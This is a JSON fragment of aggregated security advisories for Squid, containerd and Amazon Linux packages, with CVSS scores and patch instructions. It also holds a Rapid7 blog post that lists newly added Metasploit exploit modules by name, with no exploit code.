"userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2021-07-20T09:58:36", "id": "CLSA-2021:1626775116", "href": "https://repo.cloudlinux.com/centos6-els/updateinfo.xml", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-09-22T18:36:25", "description": "- CVE-2020-15049: fix incorrect validation of Content-Length field leading to\n Http smuggling and Poisoning attack\n- CVE-2020-14058: fix handling of unknown SSL errors which resulted in denial of\n service\n- CVE-2020-25097: fix improper input validation allowing HTTP smuggling from\n trusted client\n- CVE-2020-11945: fix nonce reference counter overflow allowing replay attack\n- CVE-2020-24606: fix handle of EOF in peerDigestHandleReply() leading to Denial\n of service\n- CVE-2020-8517: fix incorrect input validation allowing writing outside of buffer\n and leading to denial of service\n- CVE-2020-8449: fix improper HTTP request validation allowing access to \n resources which are prohibited by security filters\n- CVE-2020-8450: fix incorrect buffer managment leading to buffer overflow\n- CVE-2021-28651: fix memory leak leading to denial of service", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T22:10:21", "type": "cloudlinux", "title": "Fix of CVE: CVE-2020-8517, CVE-2021-28651, CVE-2020-15049, CVE-2020-8449, CVE-2020-8450, CVE-2020-24606, CVE-2020-25097, CVE-2020-11945, CVE-2020-14058", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-25097", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517", "CVE-2021-28651"], "modified": "2021-09-21T22:10:21", "id": "CLSA-2021:1632262221", "href": "https://repo.cloudlinux.com/centos6-els/updateinfo.xml", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ibm": [{"lastseen": "2022-10-01T01:51:25", "description": "## Summary\n\nIBM Cloud Kubernetes Service is affected by a security vulnerability found in containerd that could result in file permission changes for existing files in the host's filesystem (CVE-2021-32760)\n\n## Vulnerability Details\n\nCVEID: [CVE-2021-32760](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32760>) \nDescription: Containerd could allow a remote attacker to gain elevated privileges on the system, caused by improper file permissions. By pulling and extracting a specially-crafted container image, an attacker could exploit this vulnerability to perform Unix file permission changes for existing files in the host's filesystem. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: <https://exchange.xforce.ibmcloud.com/vulnerabilities/205942> for more information \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Cloud Kubernetes Service 1.21.0-1.21.2_1524 \nIBM Cloud Kubernetes Service 1.20.0-1.20.8_1546 \nIBM Cloud Kubernetes Service 1.19.0-1.19.12_1553 \nIBM Cloud Kubernetes Service 1.5-1.18\n\n## Remediation/Fixes\n\nUpdates for IBM Cloud Kubernetes Service cluster worker nodes at versions 1.19 or later are available that fix this vulnerability. Customers must update worker nodes created before the fix was available to address the vulnerability. See [updating worker nodes](<https://cloud.ibm.com/docs/containers?topic=containers-update>) for details on updating worker nodes. To verify your cluster worker nodes have been updated, use the following IBM Cloud CLI command to confirm the currently running versions:\n \n \n ibmcloud ks workers --cluster <cluster name or ID>\n \n\nIf the versions are at one of the following patch levels or later, the cluster worker nodes have the fix:\n\n[1.21.3_1526](<https://cloud.ibm.com/docs/containers?topic=containers-changelog#1213_1526>) \n[1.20.9_1548](<https://cloud.ibm.com/docs/containers?topic=containers-changelog#1209_1548>) \n[1.19.13_1555](<https://cloud.ibm.com/docs/containers?topic=containers-changelog#11913_1555>)\n\nCustomers running IBM Cloud Kubernetes Service clusters at version 1.17 or 1.18 must upgrade to version 1.19. Please review the [documentation](<https://cloud.ibm.com/docs/containers?topic=containers-update#update>) before starting an upgrade since additional actions may be required.\n\nCustomers running IBM Cloud Kubernetes Service clusters at version 1.16 or earlier must [create a new cluster](<https://cloud.ibm.com/docs/containers?topic=containers-clusters#clusters>) and [deploy their apps](<https://cloud.ibm.com/docs/containers?topic=containers-app#app>) to the new cluster.\n\nIBM Cloud Kubernetes Service versions 1.17 and earlier are no longer supported, and version 1.18 is deprecated. See the [IBM Cloud Kubernetes Service version information and update actions documentation](<https://cloud.ibm.com/docs/containers?topic=containers-cs_versions#cs_versions>) for more information about Kubernetes versions and version support policies.\n\n## Monitor IBM Cloud Status for Future Security Bulletins\n\nMonitor the [security notifications](<https://cloud.ibm.com/status?selected=security>) on the IBM Cloud Status page to be advised of future security bulletins.\n\n### References \n\n[Complete CVSS v3 Guide](<http://www.first.org/cvss/user-guide> \"Link resides outside of ibm.com\" ) \n[On-line Calculator v3](<http://www.first.org/cvss/calculator/3.0> \"Link resides outside of ibm.com\" )\n\nOff \n\n[Containerd Advisory: Archive package allows chmod of file outside of unpack target directory](<https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w>)\n\n## Related Information\n\n[IBM Secure Engineering Web Portal](<http://www.ibm.com/security/secure-engineering/bulletins.html>) \n[IBM Product Security Incident Response Blog](<http://www.ibm.com/blogs/psirt>)\n\n*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.\n\n## Disclaimer\n\nReview the [IBM security bulletin disclaimer and definitions](<https://www.ibm.com/support/pages/node/6610583#disclaimer>) regarding your responsibilities for assessing potential impact of security vulnerabilities to your environment.\n\n[{\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Product\":{\"code\":\"SSJTBP\",\"label\":\"IBM Cloud Kubernetes Service\"},\"Component\":\"--\",\"Platform\":[{\"code\":\"PF025\",\"label\":\"Platform Independent\"}],\"Version\":\"All Versions\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"LOB21\",\"label\":\"Public Cloud Platform\"}}]", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-08-06T10:53:31", "type": "ibm", "title": "Security Bulletin: IBM Cloud Kubernetes Service is affected by a containerd security vulnerability (CVE-2021-32760)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-08-06T10:53:31", "id": "2C376A245D04FD7BF94846A23BF08C4FDD21F3F3EEC473D5D7BC168FC777DE37", "href": "https://www.ibm.com/support/pages/node/6478995", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "github": [{"lastseen": "2023-01-06T05:10:54", "description": "## Impact\n\nA bug was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process.\n\n## Patches\n\nThis bug has been fixed in containerd 1.5.4 and 1.4.8. Users should update to these versions as soon as they are released. Running containers do not need to be restarted.\n\n## Workarounds\n\nEnsure you only pull images from trusted sources.\n\nLinux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with unexpected files.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at security@containerd.io if you think you\u2019ve found a security bug.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-26T21:17:45", "type": "github", "title": "Archive package allows chmod of file outside of unpack target directory", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2023-01-06T05:08:18", "id": "GHSA-C72P-9XMJ-RX3W", "href": "https://github.com/advisories/GHSA-c72p-9xmj-rx3w", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-10-29T19:03:07", "description": "## OMIGOD It's RCE\n\n\n\nWe are excited to announce that we now have a module for the OMIGOD vulnerability that exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) courtesy of our very own Spencer McIntyre! Successful exploitation will allow an unauthenticated attacker to gain `root` level code execution against affected servers. Given that this has seen exploitation in the wild by the Mirai botnet, we hope you're patched, lest your servers decide to join the zombie horde this Halloween!\n\n## Sophos Contributes to the RCE Pile\n\nContinuing the trend of unauthenticated RCE exploits that grant `root` level code execution, this week we also have an exploit for [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>), an unauthenticated RCE within the Sophos UTM WebAdmin service. Whilst we haven't yet seen exploitation in the wild of this bug, this is definitely one to patch given its severity. Stay frosty folks!\n\n## Guess Who\u2019s Back, Back Again, Apache's Back, Tell a Friend\n\nWhilst not a marshalling bug (I'm sorry, it's Halloween some puns are needed), community contributors Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), have added a scanner and exploit for [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=blog>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>), which was based off of work from [RootUp](<https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse>), [ProjectDiscovery](<https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml>), and [HackerFantastic](<https://twitter.com/hackerfantastic/status/1445531829985968137>). Path traversal vulnerabilities are relatively easy to exploit, and this got a lot of attention in the news since it's been a long time since Apache has seen a reliable RCE exploit against it. This is definitely one to patch if you're running any Apache servers. Successful exploitation will result in remote code execution as the user running the Apache server.\n\n## New module content (6)\n\n * [Squid Proxy Range Header DoS](<https://github.com/rapid7/metasploit-framework/pull/15756>) by Joshua Rogers, which exploits [CVE-2021-31806](<https://attackerkb.com/topics/2k0UqRcdTC/cve-2021-31806?referrer=search>) and [CVE-2021-31807](<https://attackerkb.com/topics/xIwbe92O2s/cve-2021-31807?referrer=blog>) \\- This adds a module that leverages CVE-2021-31806 and CVE-2021-31807 to trigger a denial of service condition in vulnerable Squid proxy servers.\n * [Apache 2.4.49/2.4.50 Traversal RCE scanner](<https://github.com/rapid7/metasploit-framework/pull/15754>) by Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), which exploits [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=search>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>) \\- This adds both a scanner and exploit module for the two recent path traversal vulnerabilities in the apache2 HTTP server. The RCE module requires `mod_cgi` to be enabled but can be exploited remotely without any authentication. These vulnerabilities are identified as CVE-2021-41773 and CVE-2021-42013.\n * [Sophos UTM WebAdmin SID Command Injection](<https://github.com/rapid7/metasploit-framework/pull/15783>) by wvu and Justin Kennedy, which exploits [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>) \\- This adds an exploit for CVE-2020-25223 which is an unauthenticated RCE within the Sophos UTM WebAdmin service. Exploitation results in OS command execution as the `root` user.\n * [Microsoft OMI Management Interface Authentication Bypass](<https://github.com/rapid7/metasploit-framework/pull/15800>) by wvu, Nir Ohfeld, Shir Tamari, and Spencer McIntyre, which exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) \\- We added an unauthenticated RCE exploit for Microsoft OMI "OMIGOD" CVE-2021-38647. Successful exploitation grants code execution as the `root` user.\n * [Apache 2.4.49/2.4.50 Traversal RCE](<https://github.com/rapid7/metasploit-framework/pull/15754>) by Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), which exploits [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=search>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>) \\- This adds both a scanner and exploit module for the two recent path traversal vulnerabilities in the apache2 HTTP server. The RCE module requires `mod_cgi` to be enabled but can be exploited remotely without any authentication. These vulnerabilities are identified as CVE-2021-41773 and CVE-2021-42013.\n * [Browse the session filesystem in a Web Browser](<https://github.com/rapid7/metasploit-framework/pull/15558>) by timwr - This adds a post module that allows the user to view the Meterpreter sessions filesystem via a locally hosted web page.\n\n## Enhancements and features\n\n * [#15681](<https://github.com/rapid7/metasploit-framework/pull/15681>) from [smashery](<https://github.com/smashery>) \\- This adds support for reverse port forwarding via established SSH sessions.\n * [#15778](<https://github.com/rapid7/metasploit-framework/pull/15778>) from [k0pak4](<https://github.com/k0pak4>) \\- This PR adds documentation for the http trace scanner.\n * [#15788](<https://github.com/rapid7/metasploit-framework/pull/15788>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- When generating a Powershell command payload would exceed the maximum length allowed to successfully execute, gracefully fall back to omitting an ASMI bypass.\n * [#15803](<https://github.com/rapid7/metasploit-framework/pull/15803>) from [k0pak4](<https://github.com/k0pak4>) \\- This adds f5_bigip_virtual_server scanner documentation.\n\n## Bugs fixed\n\n * [#15799](<https://github.com/rapid7/metasploit-framework/pull/15799>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a crash in the `iis_internal_ip` module.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.11...6.1.12](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-10-21T11%3A22%3A54-04%3A00..2021-10-28T08%3A17%3A18-05%3A00%22>)\n * [Full diff 6.1.11...6.1.12](<https://github.com/rapid7/metasploit-framework/compare/6.1.11...6.1.12>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest version of Metasploit Framework. To install fresh without using `git`, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-29T17:59:46", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25223", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-38647", "CVE-2021-41773", "CVE-2021-42013"], "modified": "2021-10-29T17:59:46", "id": "RAPID7BLOG:8C1A6CAF7B07CD1A38A8D65351756A2F", "href": "https://blog.rapid7.com/2021/10/29/metasploit-wrap-up-136/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "amazon": [{"lastseen": "2022-11-01T23:20:39", "description": "**Issue Overview:**\n\nA bug was discovered in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file or widen access to others. (CVE-2021-32760)\n\nA flaw was found in containerd CRI plugin. Containers launched through containerd's CRI implementation that share the same image may receive incorrect environment variables, including values that are defined for other containers. The highest threat from this vulnerability is to data confidentiality. (CVE-2021-21334)\n\n \n**Affected Packages:** \n\n\ncontainerd\n\n \n**Issue Correction:** \nRun _yum update containerd_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n src: \n \u00a0\u00a0\u00a0 containerd-1.4.6-2.7.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 containerd-stress-1.4.6-2.7.amzn1.x86_64 \n \u00a0\u00a0\u00a0 containerd-debuginfo-1.4.6-2.7.amzn1.x86_64 \n \u00a0\u00a0\u00a0 containerd-1.4.6-2.7.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2021-21334](<https://access.redhat.com/security/cve/CVE-2021-21334>), [CVE-2021-32760](<https://access.redhat.com/security/cve/CVE-2021-32760>)\n\nMitre: [CVE-2021-21334](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21334>), [CVE-2021-32760](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32760>)\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-07-19T17:29:00", "type": "amazon", "title": "Medium: containerd", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21334", "CVE-2021-32760"], "modified": "2021-12-29T00:02:00", "id": "ALAS-2021-1523", "href": "https://alas.aws.amazon.com/ALAS-2021-1523.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}
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Lightwave - PHSA-2021-3.0-0269
